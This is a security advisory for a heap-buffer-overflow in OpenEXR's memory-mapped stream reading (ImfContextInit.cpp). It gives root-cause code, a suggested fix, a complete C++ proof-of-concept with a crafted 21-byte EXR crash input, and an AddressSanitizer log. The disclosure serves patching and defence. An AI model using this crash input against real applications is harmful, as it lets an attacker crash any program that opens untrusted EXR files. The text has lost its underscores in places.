PT-2026-59487 · Pypi · Openexr

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

6.5

Medium

VectorAV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Summary

A heap-buffer-overflow (OOB read) occurs in the istream nonparallel read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size t, resulting in a massive length being passed to memcpy.

Affected Version

  • OpenEXR main branch (commit at time of testing)
  • src/lib/OpenEXR/ImfContextInit.cpp, lines 121–136

Root Cause

ImfContextInit.cpp:121-126:
cpp
int64 t stream sz = s->size ();      // e.g., 21 (actual file size)
int64 t nend = nread + (int64 t)sz;    // e.g., 17 + 4096 = 4113
if (stream sz > 0 && nend > stream sz)
{
  sz = stream sz - nend;        // 21 - 4113 = -4092 (signed)
}
// ...
memcpy (buffer, data, sz);        // sz is size t → wraps to 0xFFFFFFFFFFFFF004
sz is of type size t (unsigned), but stream sz - nend yields a negative int64 t value. This negative value is implicitly converted to size t, wrapping around to a value close to 2^64, which is then passed to memcpy causing a heap-buffer-overflow.
Suggested fix: sz = stream sz - nendsz = stream sz - nread

Reproduce

Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below.
PoC Code:
cpp
#include <cstdint>
#include <cstring>
#include <iostream>

#include <ImfMultiPartInputFile.h>
#include <ImfInputPart.h>
#include <ImfHeader.h>

OPENEXR IMF INTERNAL NAMESPACE HEADER ENTER

class MemMapIStream : public IStream
{
public:
  MemMapIStream (const uint8 t* data, size t len)
    : IStream ("poc input")
    , data (reinterpret cast<const char*> (data))
    , size (static cast<int64 t> (len))
    , pos (0)
  {}

  bool isMemoryMapped () const override { return true; }

  bool read (char c[], int n) override
  {
    int64 t avail = ( pos < size) ? ( size - pos) : 0;
    int64 t copy = (static cast<int64 t> (n) < avail) ? n : avail;
    if (copy > 0) memcpy (c, data + pos, copy);
     pos += n;
    return pos <= size;
  }

  char* readMemoryMapped (int n) override
  {
    if ( pos + n > size)
      throw IEX NAMESPACE::InputExc ("read past end");
    const char* p = data + pos;
     pos += n;
    return const cast<char*> (p);
  }

  uint64 t tellg () override { return static cast<uint64 t> ( pos); }
  void   seekg (uint64 t pos) override { pos = static cast<int64 t> (pos); }

  int64 t size () override { return size; }

private:
  const char* data;
  int64 t   size;
  int64 t   pos;
};

OPENEXR IMF INTERNAL NAMESPACE HEADER EXIT

int main ()
{
  static const uint8 t crash data[] = {
    0x76, 0x2f, 0x31, 0x01,
    0x02, 0x06, 0x00, 0x00,
    0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,
    0x20, 0x00, 0x00,
    0x53, 0x00, 0x00, 0x00
  };

  try
  {
    Imf::MemMapIStream stream (crash data, sizeof (crash data));
    Imf::MultiPartInputFile file (stream);
  }
  catch (const std::exception& e)
  {
    std::cout << "Exception: " << e.what () << "
";
  }

  return 0;
}

ASAN Log

==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)
  #0 0x62aee9fc732a in  asan memcpy (/home/wjddn0623/fuzzing/openexr/exr decode fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
  #1 0x62aeea0e3377 in Imf 4 0::istream nonparallel read( priv exr context t const*, void*, void*, unsigned long, unsigned long, int (*)( priv exr context t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21
  #2 0x62aeea15e75b in dispatch read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16
  #3 0x62aeea19da19 in scratch seq skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse header.c:202:29
  #4 0x62aeea197ec9 in check populate tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse header.c:1560:9
  #5 0x62aeea197ec9 in check req attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse header.c:2020:24
  #6 0x62aeea197ec9 in pull attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse header.c:2085:10
  #7 0x62aeea197ec9 in internal exr parse header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse header.c:2848:18
  #8 0x62aeea15f578 in exr start read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49
  #9 0x62aeea0d8130 in Imf 4 0::Context::Context(char const*, Imf 4 0::ContextInitializer const&, Imf 4 0::Context::read mode t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10
  #10 0x62aeea0633ab in Imf 4 0::MultiPartInputFile::MultiPartInputFile(char const*, Imf 4 0::ContextInitializer const&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7
  #11 0x62aeea0649de in Imf 4 0::MultiPartInputFile::MultiPartInputFile(Imf 4 0::IStream&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7
  #12 0x62aeea00d522 in fuzz cpp headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr decode fuzzer.cc:167:31
  #13 0x62aeea00d522 in fuzz cpp api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr decode fuzzer.cc:460:5
  #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr decode fuzzer.cc:927:5
  #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr decode fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
  #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr decode fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
  #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr decode fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
  #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr decode fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
  #19 0x71035ee2a1c9 in  libc start call main csu/../sysdeps/nptl/libc start call main.h:58:16
  #20 0x71035ee2a28a in  libc start main csu/../csu/libc-start.c:360:3
  #21 0x62aee9ef9114 in start (/home/wjddn0623/fuzzing/openexr/exr decode fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)

0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235)
allocated by thread T0 here:
  #0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr decode fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
  #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr decode fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
  #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr decode fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
  #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr decode fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
  #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr decode fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)
  #5 0x71035ee2a1c9 in  libc start call main csu/../sysdeps/nptl/libc start call main.h:58:16
  #6 0x71035ee2a28a in  libc start main csu/../csu/libc-start.c:360:3
  #7 0x62aee9ef9114 in start (/home/wjddn0623/fuzzing/openexr/exr decode fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)

SUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr decode fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in  asan memcpy
==305348==ABORTING

Impact

  • DoS — Any application that opens a crafted EXR file will crash immediately
  • CWE-195 (Signed to Unsigned Conversion Error) → CWE-122 (Heap-based Buffer Overflow)
  • Affects any application using an IStream implementation where isMemoryMapped() returns true

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-2849

Affected Products

Openexr